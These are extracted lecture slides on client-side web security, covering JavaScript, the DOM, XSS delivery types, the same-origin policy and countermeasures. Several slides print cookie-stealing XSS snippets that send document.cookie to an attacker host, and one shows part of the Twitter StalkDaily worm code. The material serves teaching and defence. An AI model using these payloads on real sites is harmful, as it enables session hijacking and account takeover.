Attacks on Clients: Dynamic Content & XSS
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1 Web Security Attacks on Clients: Dynamic Content & XSS (Section on JavaScript; on Media content; on XSS) 1
2 Recap from last lecture Attacks on web server: attacker/client sends malicious input to server with the goal to do some damage... malicious input execution to dynamically create a webpage web server 2
3 Recap from last lecture Dynamically created webpages & injection attacks another user of the same website (discussed in this lecture) malicious input web server OS data base file system 3
4 Attacks on client Client, ie web browser, can be attacked by malicious input Even the human user can be attacked: recall URL obfuscation web browser web server 4
5 Example client side problem 5
6 Browser bugs Web browser gets untrusted input from web server or third party Bugs in the browser can become exploitable vulnerabilities also bugs in browser add-ons, or other helper applications Classic Denial of Service (DoS) example: IE image crash image with huge size could crash Internet Explorer and freeze Windows machine <HTML><BODY> <img src= a.jpg width = height= > </BODY><HTML> Things get more interesting as processing in the browser gets more powerful, and languages involved are more complex 6
7 More dangerous browser bugs Denial of Service bugs are the least of your worries... Possibility of drive-by-downloads where just visiting a webpage can install malware, by exploiting security holes in browser, graphics libraries, media players,... Homework exercise: check securityfocus.com for security vulnerabilities for your favourite web browser 7
8 Drive-by-download example Visit a webpage that contains Javascript code with three parts: shellcode (binary instructions encoded as string) heap spray (inject numerous copies of shellcode into heap) create vulnerable object and exploit to manipulate instruction pointer register and execute shellcode 8
9 Dynamic webpages (Sect & in book) 9
10 Recall: dynamic webpages Most web pages do not just contain static HTML, but are dynamic: ie they contain executable content. This is an interesting attack vector. execution aka processing client-side scripting web browser web server 10
11 Dynamic Content Languages for dynamic content: JavaScript Flash, Silverlight,... ActiveX Java... JavaScript is by far the most widespread of these technologies: nearly all web pages include JavaScript CSS Cascading Style Sheets defines layout of headers, links, etc; not quite execution, but can be abused, and can contain JavaScript 11
12 Dynamic Content Usage of client-side programming languages for websites (for top 10 million websites in Alexa popularity ranking) (source: 12
13 Controlling Dynamic Content (7.2.4) Executing dynamic content can be controlled inside a sandbox NB the sandbox is made from software if there are security vulnerabilities in this software, all bets are off, and attacker might escape... 13
14 Sandbox escaping example Adobe Reader Sandbox is composed of two processes: sandbox/renderer process: responsible for parsing and rendering PDF content broker process: responsible for executing privileged operations (called on behalf of sandbox process; sandbox policy specifies what privileged operations are allowed) 14
15 Sandbox escaping example Vulnerability in call to some privileged operation GetClipboardFormatNameW(format, name->buffer, name->size); name->buffer: pointer to an output buffer name->size: size of output buffer (in bytes!) Programmer used number of characters, instead of bytes Character consists of two bytes Hence output buffer is considered to be twice its actual size!!! Exploiting this vulnerability to write past the boundary of output buffer carefully crafting the heap layout overwrite and control an object s virtual function table pointer Same code not only used in sandbox of Adobe Reader, but also in sandbox of Adobe Flash Player for Firefox (Firefox Flash) 15
16 ActiveX controls vs Java applets Windows only technology, runs in Internet Explorer (IE). binary code executed on behalf of the browser. can access user files support for signed code plus Microsoft OS update can set kill bit to stop dangerous controls an installed control can be run from any website (up to IE7) IE configuration options allow, block, prompt also control by administrator platform independent downside: OS patching might miss Java patching bytecode executed on virtual machine within browser binary code is for specific machine, byte code is interpreted by virtual machine restrictive sandbox support for signed code What is the Kill-Bit? Kill-Bit (or killbit) is not actually a bit Kill-Bit is a registry entry for a particular ActiveX control, marking it as sandboxing non-loadable configuration in browser Microsoft releases Kill-Bits in security updates to block vulnerable ActiveX controls applet only runs on site where it is embedded 16
17 JavaScript & the DOM (Sect 7.1.3) 17
18 JavaScript JavaScript is the leading language used in client-side scripting embedded in web page to support client-side dynamic behaviour ie. executed in user's webbrowser reacting on events (eg keyboard) and interacting with webpage developed by Netscape, later standardised by ECMA JavaScript has NOTHING to do with Java typical uses: dynamic user interaction with the web page Eg opening and closing menus, changing pictures,... JavaScript code can completely rewrite the contents of an HTML page! client-side input validation Eg has the user entered a correct date, a syntactically correct address or credit card number, or a strong enough password? NB such validation should not be security critical! Why? Malicious client can by-pass such validation! 18
19 JavaScript (Sect in book) scripting language interpreted by browser, with code in the HTML <script type= text/javascript >... </script> optional, default is javascript Built-in functions eg to change content of the window <script> alert( Hello World! ); </script> A web page can define additional functions <script>function hi(){alert( Hello World! );}</script> built-in event handlers for reacting to user actions <img src= pic.jpg onmouseover= javascript:hi() > Demo/example: 19
20 DOM (Document Object Model) DOM is representation of the content of a webpage, in OO style Webpage is an object document with sub-objects, such as document.url, document.referrer, document.cookie, 20
21 DOM (Document Object Model) JavaScript can interact with the DOM to access or change parts of the current webpage incl. text, URL, cookies,... This gives JavaScript its real power! Eg it allows scripts to change layout and content of the webpage, open and menus in the webpage,... Demo/example: 21
22 Security features The user environment is protected from malicious JavaScript programs by a sand-boxing environment inside browser JavaScript programs are protected from each other by compartementalisation Same-Origin-Policy: code can only access resources with the same origin site (more on that later) As we already saw and will see, such protection has its limits... 22
23 Recipe for security disasters? In a web browser we have classic ingredients for disaster untrusted executable content, coming from all over the web JavaScript (also Flash, Active X, Java) confidential information usernames, passwords, cookies, credit card numbers, content of s, any information entered in web forms,... sensitive functionality ability to , tweet, buy things, pay for things, Unfortunately, JavaScript is so widely used that turning it off is not an option Web-browser has become attractive place to attack 23
24 HTML injection & XSS 24
25 Search engine example sos Search No matches found for sos 25
26 Search engine example <h1>sos</h1> Search No matches found for sos 26
27 What proper input validation should produce <h1>sos</h1> Search No matches found for sos or <h1>sos</h1> Search No matches found for <h1>sos</h1> Here < and > written as < and > in the HTML source 27
28 What can happen if we enter more complicated HTML code as search term? <img source= <img source= Search No matches found for 28
29 What can happen if we enter more complicated HTML code as search term? <script language= text/javascript"> </script> alert( Hello World! ); <script langu Search No matches found for Here we entered executable code (JavaScript) Such HTML injection is called Cross Site Scripting (XSS) 29
30 HTML injection HTML injection: user input is echoed back to the client without validation or escaping But why is this a security problem? 1 simple HTML injection attacker can deface a webpage, with pop-ups, ads, or fake info <h1>us troops invade Syria</h1> <img=...> Such HTML injections abuses trust that a user has in a website: the user believes the content is from the website, when in fact it comes from an attacker 2 XSS the injected HTML contains executable content, typically JavaScript Execution of this code can have all sorts of nasty effects... 30
31 XSS (Cross Site Scripting) Attacker inject scripts into a website, such that scripts are passed on to a victim scripts are executed in the victim s browser with the victim s access rights with the victim s data incl. cookies interacting with the user, with the webpage (using the DOM), causing new HTTP requests,... Usually injected scripts are JavaScript, but could be Flash, ActiveX, Java,... 31
32 Simple HTML injection browser malicious output web server 32
33 XSS processing of malicious scripts malicious output incl. scripts browser web server unwanted requests another web server 33
34 Stealing cookies with XSS Consider window.open( + document.cookie)</script> What if user clicks on this link? 1. browser goes to 2. website victim.com returns <HTML> Results for <script>...</script> </HTML> 3. browser executes script and sends mafia his cookie 34
35 Stealing cookies using XSS More stealthy way of stealing cookies <script> img = new Image(); img.src = + </script> encodeuri(document.cookie) Better because the user won t notice a change in the webpage when this script is executed, unlike the one on the previous page 35
36 Delivery mechanism for XSS Different ways for an attacker to get scripts on to the victim s browsers 0. DOM-based XSS 1. Reflected aka non-persistent XSS 2. Stored aka persistent XSS 36
37 Scenario 0: DOM-based attack Attacker injects malicious content into a webpage via existing scripts in that webpage that interact with the DOM Eg, the javascript code <script> var pos=document.url.indexof("name=")+5; document.write(document.url.substring(pos,document.url.length)); </script> in webpage will copy name parameter from URL into that webpage Eg, for it will return Jan But what if the URL contains javascript in the name? eg An attacker can now use a malicious URL (as in a reflected attack) 37
38 Scenario 0: DOM-based attack The injected payload can for instance be in the URL Details depend on the browser eg. browser may encode < and > in URL A good web application might spot a malicious URL but...the server may be by-passed and never get to see the malicious payload! Part of the URL after # is not sent to bla.com, but is part of document.url So server-side validation can t help... 38
39 Scenario 1: reflected XSS attack Attacker crafts a special URL for a vulnerable web site, often a URL containing JavaScript Attacker then tempts victim to click on this link by sending an that includes the link, or posting this link on a website 39
40 reflected aka non-persistent XSS malicious URL web server HTML containing malicious output 40
41 Example of reflected XSS attack Web Server Attacker User 3. XSS Attack 7. Browser runs injected code; attacker obtains cookie 4. User clicks on XSS link 41
42 Variant of reflected XSS: exploiting browser bug/feature Make someone click on <a href= <script> document.location=' + document.cookie </script> >Click here for your free prize!</a> Then trusted.com will produce error message to browser due to malformed HTML: missing <a which may include the script which the browser may then execute! 42
43 Scenario 2: stored XSS attack Attacker injects HTML - incl. scripts - into a web site, which is stored at that web site This is echoed back later when victim visit the same site Typical examples where attacker can try this some web forum a book review on amazon.com a posting on blackboard.ru.nl... Web2.0 web sites, which allow user-generated content, are ideal for this. 43
44 Stored aka persistent XSS attacker storing malicious content on website malicious input web server data base HTML containing malicious output another user of the same website 44
45 XSS vulnerability on twitter 45
46 Example: persistent XSS attack on Google docs save as CSV file in spreadsheets.google.com some web browsers render this content as HTML, and execute the script! this then allows attacks on gmail.com, docs.google.com, code.google.com,.. because these all share the same cookie Is this the browser s fault, or the web-site s (ie google docs) fault? 46
47 Included in twitter profile: Twitter StalkDaily worm <a href=" src=" >... where attack.js includes the following attack code var update = urlencode("hey everyone, join var ajaxconn = new XHConn();... ajaxconn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+ &tab=home&update=update"); var set = urlencode(' src=" </script><script src=" '); ajaxconn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+set+ &tab=home&update=update"); executed when you see this profile tweet the link change profile to include the attack code! 47
48 Same-Origin-Policy 48
49 Same-Origin-Policy (SOP) Same-Origin-Policy intended to prevent attack from a malicious website on other web pages a user is interacting with client browser twitter.com mafia.com 49
50 Same-Origin-Policy (SOP) Same-Origin-Policy intended to prevent attack from a malicious website on other web pages a user is interacting with Basic idea Scripts can only access information with same origin where origin is triple <URI scheme, address, port> eg <http, ru.nl, 80>, <https, ru.nl, 1080> HTML content belongs to origin where it was downloaded Scripts included in a HTML document have the origin of that document including them rationale: author of HTML page should know that scripts he includes are harmless See demos in and 50
51 Will SOP prevent cookie stealing? Suppose attacker injects cookie stealing script in blackboard.ru.nl Will the SOP prevent this script from accessing cookie? No! Scripts included in blackboard.ru.nl will have access to the cookie of that domain. Even if the scipt is included via a link, such as <script src= > 51
52 Circumventing the Same-Origin-Policy user s browser can t distinguish between good & bad scripts attacker uploads malicious content client browser attacker browser twitter.com mafia.com 52
53 Countermeasures against XSS 53
54 Recap XSS involves attacker getting malicious (java)scripts in victim s browser, so that they are executed in the victim s browser with the victim s rights in the context of a web page from the attacked site typical example: trying to steal cookies XSS is a special form of HTML injection the attacker injects HTML that happens to include scripts reflected or stored attack, or injected via DOM Same-Origin-Policy does not prevent this 54
55 HTML injection vs SQL injection Common theme: attacker injects malicious data with special meaning, using special characters or words using ;... in SQL using <img> <script>... in HTML which gets interpreted to have harmful consequence Difference: SQL injection is a server-side problem only HTML injection or XSS is client-side problem, but also a server-side problem, esp. in the case of stored/persistent XSS hence: not so clear who should or could solve the problem: the browser or the server? 55
56 Input vs output problems? Is XSS due to lack of input validation or a lack of output validation 1. for reflected XSS attack? 2. for stored XSS attack? Should we do input validation or output validation to prevent XSS? Should the web browser or the server do this? Why not both? 56
57 Client-side countermeasures Most browsers can block pop-up windows & multiple alerts Browser can disable scripts on a per-domain basis disallowing all script except those permitted by user disallowing all scripts on a public blacklist For example, NoScript extension of Firefox NotScripts and ScriptSafe extension of Chrome Browser can sanitize outgoing content in HTTP requests of GET/POST parameters, URL, referred header,.. Does not help with stored XSS. Why? Ad-blocker plugins can also reduce the risk of XSS 57
58 Server-side countermeasures Server should validate (escape) HTML tags in content This could be done for inputs entering the web application, eg using a web application firewall could be used or when data exiting the web application to be stored in database This could also be done when data enters the web application from the database Prevent cookie stealing by using tagged cookies include IP address in cookie only allow access to original IP address that cookie was created for 58
59 XSS attacker tricks How does attacker send information to herself? E.g. by changing the source of an image document.images[0].src= + document.cookie; How much code can attacker inject? We re on the web! Attacker can use a URLs to download scripts document.scripts(0).src =" Form redirecting: an XSS script can redirect the target of a form to steal the form values (e.g., passwords) What if a web application does not allow use of /? var n = new RegExp( http: myserver evilscr.js ); forslash = location.href.charat(6);... 59
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